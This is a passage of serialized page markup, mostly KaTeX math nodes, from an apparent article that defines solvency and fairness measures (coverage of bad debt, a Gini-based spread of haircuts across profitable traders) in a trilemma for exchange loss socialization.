,"style":15324},[15323],[],{"type":23,"tag":75,"props":173961,"children":173963},{"className":173962},[15329,15330,15331,15332],[173964],{"type":23,"tag":75,"props":173965,"children":173967},{"className":173966},[15284,32803,15332],[173968],{"type":29,"value":12935},{"type":23,"tag":75,"props":173970,"children":173972},{"className":173971},[32960],[173973],{"type":29,"value":32963},{"type":23,"tag":75,"props":173975,"children":173977},{"className":173976},[15309],[173978],{"type":23,"tag":75,"props":173979,"children":173981},{"className":173980,"style":103465},[15314],[173982],{"type":23,"tag":75,"props":173983,"children":173984},{},[],{"type":29,"value":173986}," is PNL for longs, negated for shorts; ",{"type":23,"tag":71,"props":173988,"children":173990},{"className":173989},[15256,15257],[173991],{"type":23,"tag":75,"props":173992,"children":173994},{"className":173993},[15262],[173995],{"type":23,"tag":75,"props":173996,"children":173998},{"className":173997,"ariaHidden":15268},[15267],[173999],{"type":23,"tag":75,"props":174000,"children":174002},{"className":174001},[15273],[174003,174007],{"type":23,"tag":75,"props":174004,"children":174006},{"className":174005,"style":120352},[15278],[],{"type":23,"tag":75,"props":174008,"children":174010},{"className":174009},[15284],[174011,174016],{"type":23,"tag":75,"props":174012,"children":174014},{"className":174013,"style":132662},[15284,32803],[174015],{"type":29,"value":60758},{"type":23,"tag":75,"props":174017,"children":174019},{"className":174018},[15299],[174020],{"type":23,"tag":75,"props":174021,"children":174023},{"className":174022},[15304,32857],[174024,174053],{"type":23,"tag":75,"props":174025,"children":174027},{"className":174026},[15309],[174028,174048],{"type":23,"tag":75,"props":174029,"children":174031},{"className":174030,"style":103911},[15314],[174032],{"type":23,"tag":75,"props":174033,"children":174034},{"style":171610},[174035,174039],{"type":23,"tag":75,"props":174036,"children":174038},{"className":174037,"style":15324},[15323],[],{"type":23,"tag":75,"props":174040,"children":174042},{"className":174041},[15329,15330,15331,15332],[174043],{"type":23,"tag":75,"props":174044,"children":174046},{"className":174045},[15284,32803,15332],[174047],{"type":29,"value":12935},{"type":23,"tag":75,"props":174049,"children":174051},{"className":174050},[32960],[174052],{"type":29,"value":32963},{"type":23,"tag":75,"props":174054,"children":174056},{"className":174055},[15309],[174057],{"type":23,"tag":75,"props":174058,"children":174060},{"className":174059,"style":103465},[15314],[174061],{"type":23,"tag":75,"props":174062,"children":174063},{},[],{"type":29,"value":174065}," is the positive part of PNL.)",{"type":23,"tag":32,"props":174067,"children":174068},{},[174069],{"type":29,"value":174070},"And let's make the trilemma definitions concrete:",{"type":23,"tag":27910,"props":174072,"children":174073},{},[174074,174548,175112],{"type":23,"tag":2801,"props":174075,"children":174076},{},[174077,174081,174082,174336,174338,174389,174391,174494,174495,174546],{"type":23,"tag":9690,"props":174078,"children":174079},{},[174080],{"type":29,"value":171194},{"type":29,"value":44104},{"type":23,"tag":71,"props":174083,"children":174085},{"className":174084},[15256,15257],[174086],{"type":23,"tag":75,"props":174087,"children":174089},{"className":174088},[15262],[174090],{"type":23,"tag":75,"props":174091,"children":174093},{"className":174092,"ariaHidden":15268},[15267],[174094,174121],{"type":23,"tag":75,"props":174095,"children":174097},{"className":174096},[15273],[174098,174103,174108,174112,174117],{"type":23,"tag":75,"props":174099,"children":174102},{"className":174100,"style":174101},[15278],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":23,"tag":75,"props":174104,"children":174106},{"className":174105},[15284],[174107],{"type":29,"value":7867},{"type":23,"tag":75,"props":174109,"children":174111},{"className":174110,"style":15364},[15363],[],{"type":23,"tag":75,"props":174113,"children":174115},{"className":174114},[15369],[174116],{"type":29,"value":15343},{"type":23,"tag":75,"props":174118,"children":174120},{"className":174119,"style":15364},[15363],[],{"type":23,"tag":75,"props":174122,"children":174124},{"className":174123},[15273],[174125,174130],{"type":23,"tag":75,"props":174126,"children":174129},{"className":174127,"style":174128},[15278],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":23,"tag":75,"props":174131,"children":174133},{"className":174132},[15284],[174134,174138,174332],{"type":23,"tag":75,"props":174135,"children":174137},{"className":174136},[32932,123900],[],{"type":23,"tag":75,"props":174139,"children":174141},{"className":174140},[123905],[174142],{"type":23,"tag":75,"props":174143,"children":174145},{"className":174144},[15304,32857],[174146,174320],{"type":23,"tag":75,"props":174147,"children":174149},{"className":174148},[15309],[174150,174315],{"type":23,"tag":75,"props":174151,"children":174154},{"className":174152,"style":174153},[15314],"height:0.8884em;",[174155,174229,174240],{"type":23,"tag":75,"props":174156,"children":174157},{"style":123922},[174158,174162],{"type":23,"tag":75,"props":174159,"children":174161},{"className":174160,"style":122553},[15323],[],{"type":23,"tag":75,"props":174163,"children":174165},{"className":174164},[15329,15330,15331,15332],[174166],{"type":23,"tag":75,"props":174167,"children":174169},{"className":174168},[15284,15332],[174170],{"type":23,"tag":75,"props":174171,"children":174173},{"className":174172},[15284,15332],[174174,174179],{"type":23,"tag":75,"props":174175,"children":174177},{"className":174176,"style":103382},[15284,32803,15332],[174178],{"type":29,"value":171869},{"type":23,"tag":75,"props":174180,"children":174182},{"className":174181},[15299],[174183],{"type":23,"tag":75,"props":174184,"children":174186},{"className":174185},[15304,32857],[174187,174217],{"type":23,"tag":75,"props":174188,"children":174190},{"className":174189},[15309],[174191,174212],{"type":23,"tag":75,"props":174192,"children":174194},{"className":174193,"style":122714},[15314],[174195],{"type":23,"tag":75,"props":174196,"children":174198},{"style":174197},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[174199,174203],{"type":23,"tag":75,"props":174200,"children":174202},{"className":174201,"style":119242},[15323],[],{"type":23,"tag":75,"props":174204,"children":174206},{"className":174205},[15329,119247,119248,15332],[174207],{"type":23,"tag":75,"props":174208,"children":174210},{"className":174209,"style":32804},[15284,32803,15332],[174211],{"type":29,"value":17255},{"type":23,"tag":75,"props":174213,"children":174215},{"className":174214},[32960],[174216],{"type":29,"value":32963},{"type":23,"tag":75,"props":174218,"children":174220},{"className":174219},[15309],[174221],{"type":23,"tag":75,"props":174222,"children":174225},{"className":174223,"style":174224},[15314],"height:0.1433em;",[174226],{"type":23,"tag":75,"props":174227,"children":174228},{},[],{"type":23,"tag":75,"props":174230,"children":174231},{"style":123955},[174232,174236],{"type":23,"tag":75,"props":174233,"children":174235},{"className":174234,"style":122553},[15323],[],{"type":23,"tag":75,"props":174237,"children":174239},{"className":174238,"style":123965},[123964],[],{"type":23,"tag":75,"props":174241,"children":174243},{"style":174242},"top:-3.4101em;",[174244,174248],{"type":23,"tag":75,"props":174245,"children":174247},{"className":174246,"style":122553},[15323],[],{"type":23,"tag":75,"props":174249,"children":174251},{"className":174250},[15329,15330,15331,15332],[174252],{"type":23,"tag":75,"props":174253,"children":174255},{"className":174254},[15284,15332],[174256],{"type":23,"tag":75,"props":174257,"children":174259},{"className":174258},[15284,15332],[174260,174265],{"type":23,"tag":75,"props":174261,"children":174263},{"className":174262,"style":133159},[15284,32803,15332],[174264],{"type":29,"value":133162},{"type":23,"tag":75,"props":174266,"children":174268},{"className":174267},[15299],[174269],{"type":23,"tag":75,"props":174270,"children":174272},{"className":174271},[15304,32857],[174273,174304],{"type":23,"tag":75,"props":174274,"children":174276},{"className":174275},[15309],[174277,174299],{"type":23,"tag":75,"props":174278,"children":174281},{"className":174279,"style":174280},[15314],"height:0.2963em;",[174282],{"type":23,"tag":75,"props":174283,"children":174285},{"style":174284},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[174286,174290],{"type":23,"tag":75,"props":174287,"children":174289},{"className":174288,"style":119242},[15323],[],{"type":23,"tag":75,"props":174291,"children":174293},{"className":174292},[15329,119247,119248,15332],[174294],{"type":23,"tag":75,"props":174295,"children":174297},{"className":174296},[15284,32803,15332],[174298],{"type":29,"value":32945},{"type":23,"tag":75,"props":174300,"children":174302},{"className":174301},[32960],[174303],{"type":29,"value":32963},{"type":23,"tag":75,"props":174305,"children":174307},{"className":174306},[15309],[174308],{"type":23,"tag":75,"props":174309,"children":174311},{"className":174310,"style":119267},[15314],[174312],{"type":23,"tag":75,"props":174313,"children":174314},{},[],{"type":23,"tag":75,"props":174316,"children":174318},{"className":174317},[32960],[174319],{"type":29,"value":32963},{"type":23,"tag":75,"props":174321,"children":174323},{"className":174322},[15309],[174324],{"type":23,"tag":75,"props":174325,"children":174328},{"className":174326,"style":174327},[15314],"height:0.4453em;",[174329],{"type":23,"tag":75,"props":174330,"children":174331},{},[],{"type":23,"tag":75,"props":174333,"children":174335},{"className":174334},[32954,123900],[],{"type":29,"value":174337}," — how much of the total bad debt was actually covered. ",{"type":23,"tag":71,"props":174339,"children":174341},{"className":174340},[15256,15257],[174342],{"type":23,"tag":75,"props":174343,"children":174345},{"className":174344},[15262],[174346],{"type":23,"tag":75,"props":174347,"children":174349},{"className":174348,"ariaHidden":15268},[15267],[174350,174376],{"type":23,"tag":75,"props":174351,"children":174353},{"className":174352},[15273],[174354,174358,174363,174367,174372],{"type":23,"tag":75,"props":174355,"children":174357},{"className":174356,"style":32798},[15278],[],{"type":23,"tag":75,"props":174359,"children":174361},{"className":174360,"style":33262},[15284,32803],[174362],{"type":29,"value":1032},{"type":23,"tag":75,"props":174364,"children":174366},{"className":174365,"style":15461},[15363],[],{"type":23,"tag":75,"props":174368,"children":174370},{"className":174369},[15466],[174371],{"type":29,"value":212},{"type":23,"tag":75,"props":174373,"children":174375},{"className":174374,"style":15461},[15363],[],{"type":23,"tag":75,"props":174377,"children":174379},{"className":174378},[15273],[174380,174384],{"type":23,"tag":75,"props":174381,"children":174383},{"className":174382,"style":104413},[15278],[],{"type":23,"tag":75,"props":174385,"children":174387},{"className":174386},[15284],[174388],{"type":29,"value":7867},{"type":29,"value":174390}," means fully solvent (",{"type":23,"tag":71,"props":174392,"children":174394},{"className":174393},[15256,15257],[174395],{"type":23,"tag":75,"props":174396,"children":174398},{"className":174397},[15262],[174399],{"type":23,"tag":75,"props":174400,"children":174402},{"className":174401,"ariaHidden":15268},[15267],[174403,174481],{"type":23,"tag":75,"props":174404,"children":174406},{"className":174405},[15273],[174407,174411,174468,174472,174477],{"type":23,"tag":75,"props":174408,"children":174410},{"className":174409,"style":121379},[15278],[],{"type":23,"tag":75,"props":174412,"children":174414},{"className":174413},[15284],[174415,174420],{"type":23,"tag":75,"props":174416,"children":174418},{"className":174417,"style":133159},[15284,32803],[174419],{"type":29,"value":133162},{"type":23,"tag":75,"props":174421,"children":174423},{"className":174422},[15299],[174424],{"type":23,"tag":75,"props":174425,"children":174427},{"className":174426},[15304,32857],[174428,174457],{"type":23,"tag":75,"props":174429,"children":174431},{"className":174430},[15309],[174432,174452],{"type":23,"tag":75,"props":174433,"children":174435},{"className":174434,"style":172025},[15314],[174436],{"type":23,"tag":75,"props":174437,"children":174438},{"style":172029},[174439,174443],{"type":23,"tag":75,"props":174440,"children":174442},{"className":174441,"style":15324},[15323],[],{"type":23,"tag":75,"props":174444,"children":174446},{"className":174445},[15329,15330,15331,15332],[174447],{"type":23,"tag":75,"props":174448,"children":174450},{"className":174449},[15284,32803,15332],[174451],{"type":29,"value":32945},{"type":23,"tag":75,"props":174453,"children":174455},{"className":174454},[32960],[174456],{"type":29,"value":32963},{"type":23,"tag":75,"props":174458,"children":174460},{"className":174459},[15309],[174461],{"type":23,"tag":75,"props":174462,"children":174464},{"className":174463,"style":103465},[15314],[174465],{"type":23,"tag":75,"props":174466,"children":174467},{},[],{"type":23,"tag":75,"props":174469,"children":174471},{"className":174470,"style":15461},[15363],[],{"type":23,"tag":75,"props":174473,"children":174475},{"className":174474},[15466],[174476],{"type":29,"value":212},{"type":23,"tag":75,"props":174478,"children":174480},{"className":174479,"style":15461},[15363],[],{"type":23,"tag":75,"props":174482,"children":174484},{"className":174483},[15273],[174485,174489],{"type":23,"tag":75,"props":174486,"children":174488},{"className":174487,"style":104413},[15278],[],{"type":23,"tag":75,"props":174490,"children":174492},{"className":174491},[15284],[174493],{"type":29,"value":648},{"type":29,"value":3851},{"type":23,"tag":71,"props":174496,"children":174498},{"className":174497},[15256,15257],[174499],{"type":23,"tag":75,"props":174500,"children":174502},{"className":174501},[15262],[174503],{"type":23,"tag":75,"props":174504,"children":174506},{"className":174505,"ariaHidden":15268},[15267],[174507,174533],{"type":23,"tag":75,"props":174508,"children":174510},{"className":174509},[15273],[174511,174515,174520,174524,174529],{"type":23,"tag":75,"props":174512,"children":174514},{"className":174513,"style":32798},[15278],[],{"type":23,"tag":75,"props":174516,"children":174518},{"className":174517,"style":33262},[15284,32803],[174519],{"type":29,"value":1032},{"type":23,"tag":75,"props":174521,"children":174523},{"className":174522,"style":15461},[15363],[],{"type":23,"tag":75,"props":174525,"children":174527},{"className":174526},[15466],[174528],{"type":29,"value":212},{"type":23,"tag":75,"props":174530,"children":174532},{"className":174531,"style":15461},[15363],[],{"type":23,"tag":75,"props":174534,"children":174536},{"className":174535},[15273],[174537,174541],{"type":23,"tag":75,"props":174538,"children":174540},{"className":174539,"style":104413},[15278],[],{"type":23,"tag":75,"props":174542,"children":174544},{"className":174543},[15284],[174545],{"type":29,"value":648},{"type":29,"value":174547}," means nothing was recovered.",{"type":23,"tag":2801,"props":174549,"children":174550},{},[174551,174555,174556,174679,174680,174897,174899,175003,175005,175056,175058,175110],{"type":23,"tag":9690,"props":174552,"children":174553},{},[174554],{"type":29,"value":171204},{"type":29,"value":44104},{"type":23,"tag":71,"props":174557,"children":174559},{"className":174558},[15256,15257],[174560],{"type":23,"tag":75,"props":174561,"children":174563},{"className":174562},[15262],[174564],{"type":23,"tag":75,"props":174565,"children":174567},{"className":174566,"ariaHidden":15268},[15267],[174568,174594],{"type":23,"tag":75,"props":174569,"children":174571},{"className":174570},[15273],[174572,174576,174581,174585,174590],{"type":23,"tag":75,"props":174573,"children":174575},{"className":174574,"style":174101},[15278],[],{"type":23,"tag":75,"props":174577,"children":174579},{"className":174578},[15284],[174580],{"type":29,"value":7867},{"type":23,"tag":75,"props":174582,"children":174584},{"className":174583,"style":15364},[15363],[],{"type":23,"tag":75,"props":174586,"children":174588},{"className":174587},[15369],[174589],{"type":29,"value":15343},{"type":23,"tag":75,"props":174591,"children":174593},{"className":174592,"style":15364},[15363],[],{"type":23,"tag":75,"props":174595,"children":174597},{"className":174596},[15273],[174598,174602,174612,174617,174674],{"type":23,"tag":75,"props":174599,"children":174601},{"className":174600,"style":15384},[15278],[],{"type":23,"tag":75,"props":174603,"children":174605},{"className":174604},[15284,29],[174606],{"type":23,"tag":75,"props":174607,"children":174609},{"className":174608},[15284],[174610],{"type":29,"value":174611},"Gini",{"type":23,"tag":75,"props":174613,"children":174615},{"className":174614},[32932],[174616],{"type":29,"value":643},{"type":23,"tag":75,"props":174618,"children":174620},{"className":174619},[15284],[174621,174626],{"type":23,"tag":75,"props":174622,"children":174624},{"className":174623},[15284,32803],[174625],{"type":29,"value":8730},{"type":23,"tag":75,"props":174627,"children":174629},{"className":174628},[15299],[174630],{"type":23,"tag":75,"props":174631,"children":174633},{"className":174632},[15304,32857],[174634,174663],{"type":23,"tag":75,"props":174635,"children":174637},{"className":174636},[15309],[174638,174658],{"type":23,"tag":75,"props":174639,"children":174641},{"className":174640,"style":103911},[15314],[174642],{"type":23,"tag":75,"props":174643,"children":174644},{"style":103438},[174645,174649],{"type":23,"tag":75,"props":174646,"children":174648},{"className":174647,"style":15324},[15323],[],{"type":23,"tag":75,"props":174650,"children":174652},{"className":174651},[15329,15330,15331,15332],[174653],{"type":23,"tag":75,"props":174654,"children":174656},{"className":174655},[15284,32803,15332],[174657],{"type":29,"value":12935},{"type":23,"tag":75,"props":174659,"children":174661},{"className":174660},[32960],[174662],{"type":29,"value":32963},{"type":23,"tag":75,"props":174664,"children":174666},{"className":174665},[15309],[174667],{"type":23,"tag":75,"props":174668,"children":174670},{"className":174669,"style":103465},[15314],[174671],{"type":23,"tag":75,"props":174672,"children":174673},{},[],{"type":23,"tag":75,"props":174675,"children":174677},{"className":174676},[32954],[174678],{"type":29,"value":1347},{"type":29,"value":18582},{"type":23,"tag":71,"props":174681,"children":174683},{"className":174682},[15256,15257],[174684],{"type":23,"tag":75,"props":174685,"children":174687},{"className":174686},[15262],[174688],{"type":23,"tag":75,"props":174689,"children":174691},{"className":174690,"ariaHidden":15268},[15267],[174692,174770],{"type":23,"tag":75,"props":174693,"children":174695},{"className":174694},[15273],[174696,174700,174757,174761,174766],{"type":23,"tag":75,"props":174697,"children":174699},{"className":174698,"style":152661},[15278],[],{"type":23,"tag":75,"props":174701,"children":174703},{"className":174702},[15284],[174704,174709],{"type":23,"tag":75,"props":174705,"children":174707},{"className":174706},[15284,32803],[174708],{"type":29,"value":8730},{"type":23,"tag":75,"props":174710,"children":174712},{"className":174711},[15299],[174713],{"type":23,"tag":75,"props":174714,"children":174716},{"className":174715},[15304,32857],[174717,174746],{"type":23,"tag":75,"props":174718,"children":174720},{"className":174719},[15309],[174721,174741],{"type":23,"tag":75,"props":174722,"children":174724},{"className":174723,"style":103911},[15314],[174725],{"type":23,"tag":75,"props":174726,"children":174727},{"style":103438},[174728,174732],{"type":23,"tag":75,"props":174729,"children":174731},{"className":174730,"style":15324},[15323],[],{"type":23,"tag":75,"props":174733,"children":174735},{"className":174734},[15329,15330,15331,15332],[174736],{"type":23,"tag":75,"props":174737,"children":174739},{"className":174738},[15284,32803,15332],[174740],{"type":29,"value":12935},{"type":23,"tag":75,"props":174742,"children":174744},{"className":174743},[32960],[174745],{"type":29,"value":32963},{"type":23,"tag":75,"props":174747,"children":174749},{"className":174748},[15309],[174750],{"type":23,"tag":75,"props":174751,"children":174753},{"className":174752,"style":103465},[15314],[174754],{"type":23,"tag":75,"props":174755,"children":174756},{},[],{"type":23,"tag":75,"props":174758,"children":174760},{"className":174759,"style":15461},[15363],[],{"type":23,"tag":75,"props":174762,"children":174764},{"className":174763},[15466],[174765],{"type":29,"value":212},{"type":23,"tag":75,"props":174767,"children":174769},{"className":174768,"style":15461},[15363],[],{"type":23,"tag":75,"props":174771,"children":174773},{"className":174772},[15273],[174774,174778,174835,174840],{"type":23,"tag":75,"props":174775,"children":174777},{"className":174776,"style":15384},[15278],[],{"type":23,"tag":75,"props":174779,"children":174781},{"className":174780},[15284],[174782,174787],{"type":23,"tag":75,"props":174783,"children":174785},{"className":174784},[15284,32803],[174786],{"type":29,"value":30499},{"type":23,"tag":75,"props":174788,"children":174790},{"className":174789},[15299],[174791],{"type":23,"tag":75,"props":174792,"children":174794},{"className":174793},[15304,32857],[174795,174824],{"type":23,"tag":75,"props":174796,"children":174798},{"className":174797},[15309],[174799,174819],{"type":23,"tag":75,"props":174800,"children":174802},{"className":174801,"style":103911},[15314],[174803],{"type":23,"tag":75,"props":174804,"children":174805},{"style":103438},[174806,174810],{"type":23,"tag":75,"props":174807,"children":174809},{"className":174808,"style":15324},[15323],[],{"type":23,"tag":75,"props":174811,"children":174813},{"className":174812},[15329,15330,15331,15332],[174814],{"type":23,"tag":75,"props":174815,"children":174817},{"className":174816},[15284,32803,15332],[174818],{"type":29,"value":12935},{"type":23,"tag":75,"props":174820,"children":174822},{"className":174821},[32960],[174823],{"type":29,"value":32963},{"type":23,"tag":75,"props":174825,"children":174827},{"className":174826},[15309],[174828],{"type":23,"tag":75,"props":174829,"children":174831},{"className":174830,"style":103465},[15314],[174832],{"type":23,"tag":75,"props":174833,"children":174834},{},[],{"type":23,"tag":75,"props":174836,"children":174838},{"className":174837},[15284],[174839],{"type":29,"value":5647},{"type":23,"tag":75,"props":174841,"children":174843},{"className":174842},[15284],[174844,174849],{"type":23,"tag":75,"props":174845,"children":174847},{"className":174846,"style":132662},[15284,32803],[174848],{"type":29,"value":60758},{"type":23,"tag":75,"props":174850,"children":174852},{"className":174851},[15299],[174853],{"type":23,"tag":75,"props":174854,"children":174856},{"className":174855},[15304,32857],[174857,174886],{"type":23,"tag":75,"props":174858,"children":174860},{"className":174859},[15309],[174861,174881],{"type":23,"tag":75,"props":174862,"children":174864},{"className":174863,"style":103911},[15314],[174865],{"type":23,"tag":75,"props":174866,"children":174867},{"style":171610},[174868,174872],{"type":23,"tag":75,"props":174869,"children":174871},{"className":174870,"style":15324},[15323],[],{"type":23,"tag":75,"props":174873,"children":174875},{"className":174874},[15329,15330,15331,15332],[174876],{"type":23,"tag":75,"props":174877,"children":174879},{"className":174878},[15284,32803,15332],[174880],{"type":29,"value":12935},{"type":23,"tag":75,"props":174882,"children":174884},{"className":174883},[32960],[174885],{"type":29,"value":32963},{"type":23,"tag":75,"props":174887,"children":174889},{"className":174888},[15309],[174890],{"type":23,"tag":75,"props":174891,"children":174893},{"className":174892,"style":103465},[15314],[174894],{"type":23,"tag":75,"props":174895,"children":174896},{},[],{"type":29,"value":174898}," for each winner with ",{"type":23,"tag":71,"props":174900,"children":174902},{"className":174901},[15256,15257],[174903],{"type":23,"tag":75,"props":174904,"children":174906},{"className":174905},[15262],[174907],{"type":23,"tag":75,"props":174908,"children":174910},{"className":174909,"ariaHidden":15268},[15267],[174911,174990],{"type":23,"tag":75,"props":174912,"children":174914},{"className":174913},[15273],[174915,174920,174977,174981,174986],{"type":23,"tag":75,"props":174916,"children":174919},{"className":174917,"style":174918},[15278],"height:0.6891em;vertical-align:-0.15em;",[],{"type":23,"tag":75,"props":174921,"children":174923},{"className":174922},[15284],[174924,174929],{"type":23,"tag":75,"props":174925,"children":174927},{"className":174926,"style":132662},[15284,32803],[174928],{"type":29,"value":60758},{"type":23,"tag":75,"props":174930,"children":174932},{"className":174931},[15299],[174933],{"type":23,"tag":75,"props":174934,"children":174936},{"className":174935},[15304,32857],[174937,174966],{"type":23,"tag":75,"props":174938,"children":174940},{"className":174939},[15309],[174941,174961],{"type":23,"tag":75,"props":174942,"children":174944},{"className":174943,"style":103911},[15314],[174945],{"type":23,"tag":75,"props":174946,"children":174947},{"style":171610},[174948,174952],{"type":23,"tag":75,"props":174949,"children":174951},{"className":174950,"style":15324},[15323],[],{"type":23,"tag":75,"props":174953,"children":174955},{"className":174954},[15329,15330,15331,15332],[174956],{"type":23,"tag":75,"props":174957,"children":174959},{"className":174958},[15284,32803,15332],[174960],{"type":29,"value":12935},{"type":23,"tag":75,"props":174962,"children":174964},{"className":174963},[32960],[174965],{"type":29,"value":32963},{"type":23,"tag":75,"props":174967,"children":174969},{"className":174968},[15309],[174970],{"type":23,"tag":75,"props":174971,"children":174973},{"className":174972,"style":103465},[15314],[174974],{"type":23,"tag":75,"props":174975,"children":174976},{},[],{"type":23,"tag":75,"props":174978,"children":174980},{"className":174979,"style":15461},[15363],[],{"type":23,"tag":75,"props":174982,"children":174984},{"className":174983},[15466],[174985],{"type":29,"value":4652},{"type":23,"tag":75,"props":174987,"children":174989},{"className":174988,"style":15461},[15363],[],{"type":23,"tag":75,"props":174991,"children":174993},{"className":174992},[15273],[174994,174998],{"type":23,"tag":75,"props":174995,"children":174997},{"className":174996,"style":104413},[15278],[],{"type":23,"tag":75,"props":174999,"children":175001},{"className":175000},[15284],[175002],{"type":29,"value":648},{"type":29,"value":175004}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":23,"tag":71,"props":175006,"children":175008},{"className":175007},[15256,15257],[175009],{"type":23,"tag":75,"props":175010,"children":175012},{"className":175011},[15262],[175013],{"type":23,"tag":75,"props":175014,"children":175016},{"className":175015,"ariaHidden":15268},[15267],[175017,175043],{"type":23,"tag":75,"props":175018,"children":175020},{"className":175019},[15273],[175021,175025,175030,175034,175039],{"type":23,"tag":75,"props":175022,"children":175024},{"className":175023,"style":32798},[15278],[],{"type":23,"tag":75,"props":175026,"children":175028},{"className":175027,"style":32804},[15284,32803],[175029],{"type":29,"value":132160},{"type":23,"tag":75,"props":175031,"children":175033},{"className":175032,"style":15461},[15363],[],{"type":23,"tag":75,"props":175035,"children":175037},{"className":175036},[15466],[175038],{"type":29,"value":212},{"type":23,"tag":75,"props":175040,"children":175042},{"className":175041,"style":15461},[15363],[],{"type":23,"tag":75,"props":175044,"children":175046},{"className":175045},[15273],[175047,175051],{"type":23,"tag":75,"props":175048,"children":175050},{"className":175049,"style":104413},[15278],[],{"type":23,"tag":75,"props":175052,"children":175054},{"className":175053},[15284],[175055],{"type":29,"value":7867},{"type":29,"value":175057}," means everyone loses the same fraction of their PNL. ",{"type":23,"tag":71,"props":175059,"children":175061},{"className":175060},[15256,15257],[175062],{"type":23,"tag":75,"props":175063,"children":175065},{"className":175064},[15262],[175066],{"type":23,"tag":75,"props":175067,"children":175069},{"className":175068,"ariaHidden":15268},[15267],[175070,175097],{"type":23,"tag":75,"props":175071,"children":175073},{"className":175072},[15273],[175074,175078,175083,175087,175093],{"type":23,"tag":75,"props":175075,"children":175077},{"className":175076,"style":32798},[15278],[],{"type":23,"tag":75,"props":175079,"children":175081},{"className":175080,"style":32804},[15284,32803],[175082],{"type":29,"value":132160},{"type":23,"tag":75,"props":175084,"children":175086},{"className":175085,"style":15461},[15363],[],{"type":23,"tag":75,"props":175088,"children":175090},{"className":175089},[15466],[175091],{"type":29,"value":175092},"≈",{"type":23,"tag":75,"props":175094,"children":175096},{"className":175095,"style":15461},[15363],[],{"type":23,"tag":75,"props":175098,"children":175100},{"className":175099},[15273],[175101,175105],{"type":23,"tag":75,"props":175102,"children":175104},{"className":175103,"style":104413},[15278],[],{"type":23,"tag":75,"props":175106,"children":175108},{"className":175107},[15284],[175109],{"type":29,"value":648},{"type":29,"value":175111}," means a few get wiped while most are untouched.",{"type":23,"tag":2801,"props":175113,"children":175114},{},[175115,175119,175120,175278,175280,175374,175376],{"type":23,"tag":9690,"props":175116,"children":175117},{},[175118],{"type":29,"value":171214},{"type":29,"value":44104},{"type":23,"tag":71,"props":175121,"children":175123},{"className":175122},[15256,15257],[175124],{"type":23,"tag":75,"props":175125,"children":175127},{"className":175126},[15262],[175128],{"type":23,"tag":75,"props":175129,"children":175131},{"className":175130,"ariaHidden":15268},[15267],[175132],{"type":23,"tag":75,"props":175133,"children":175135},{"className":175134},[15273],[175136,175141,175216,175221],{"type":23,"tag":75,"props":175137,"children":175140},{"className":175138,"style":175139},[15278],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":23,"tag":75,"props":175142,"children":175144},{"className":175143},[15284],[175145,175150],{"type":23,"tag":75,"props":175146,"children":175148},{"className":175147,"style":105390},[15284,32803],[175149],{"type":29,"value":171939},{"type":23,"tag":75,"props":175151,"children":175153},{"className":175152},[15299],[175154],{"type":23,"tag":75,"props":175155,"children":175157},{"className":175156},[15304,32857],[175158,175204],{"type":23,"tag":75,"props":175159,"children":175161},{"className":175160},[15309],[175162,175199],{"type":23,"tag":75,"props":175163,"children":175165},{"className":175164,"style":119099},[15314],[175166,175183],{"type":23,"tag":75,"props":175167,"children":175169},{"style":175168},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[175170,175174],{"type":23,"tag":75,"props":175171,"children":175173},{"className":175172,"style":15324},[15323],[],{"type":23,"tag":75,"props":175175,"children":175177},{"className":175176},[15329,15330,15331,15332],[175178],{"type":23,"tag":75,"props":175179,"children":175181},{"className":175180,"style":32804},[15284,32803,15332],[175182],{"type":29,"value":17255},{"type":23,"tag":75,"props":175184,"children":175185},{"style":15318},[175186,175190],{"type":23,"tag":75,"props":175187,"children":175189},{"className":175188,"style":15324},[15323],[],{"type":23,"tag":75,"props":175191,"children":175193},{"className":175192},[15329,15330,15331,15332],[175194],{"type":23,"tag":75,"props":175195,"children":175197},{"className":175196,"style":103868},[15284,32803,15332],[175198],{"type":29,"value":171453},{"type":23,"tag":75,"props":175200,"children":175202},{"className":175201},[32960],[175203],{"type":29,"value":32963},{"type":23,"tag":75,"props":175205,"children":175207},{"className":175206},[15309],[175208],{"type":23,"tag":75,"props":175209,"children":175212},{"className":175210,"style":175211},[15314],"height:0.2753em;",[175213],{"type":23,"tag":75,"props":175214,"children":175215},{},[],{"type":23,"tag":75,"props":175217,"children":175219},{"className":175218},[15284],[175220],{"type":29,"value":5647},{"type":23,"tag":75,"props":175222,"children":175224},{"className":175223},[15284],[175225,175230],{"type":23,"tag":75,"props":175226,"children":175228},{"className":175227,"style":105390},[15284,32803],[175229],{"type":29,"value":171939},{"type":23,"tag":75,"props":175231,"children":175233},{"className":175232},[15299],[175234],{"type":23,"tag":75,"props":175235,"children":175237},{"className":175236},[15304,32857],[175238,175267],{"type":23,"tag":75,"props":175239,"children":175241},{"className":175240},[15309],[175242,175262],{"type":23,"tag":75,"props":175243,"children":175245},{"className":175244,"style":152937},[15314],[175246],{"type":23,"tag":75,"props":175247,"children":175248},{"style":171958},[175249,175253],{"type":23,"tag":75,"props":175250,"children":175252},{"className":175251,"style":15324},[15323],[],{"type":23,"tag":75,"props":175254,"children":175256},{"className":175255},[15329,15330,15331,15332],[175257],{"type":23,"tag":75,"props":175258,"children":175260},{"className":175259,"style":32804},[15284,32803,15332],[175261],{"type":29,"value":17255},{"type":23,"tag":75,"props":175263,"children":175265},{"className":175264},[32960],[175266],{"type":29,"value":32963},{"type":23,"tag":75,"props":175268,"children":175270},{"className":175269},[15309],[175271],{"type":23,"tag":75,"props":175272,"children":175274},{"className":175273,"style":103465},[15314],[175275],{"type":23,"tag":75,"props":175276,"children":175277},{},[],{"type":29,"value":175279}," — 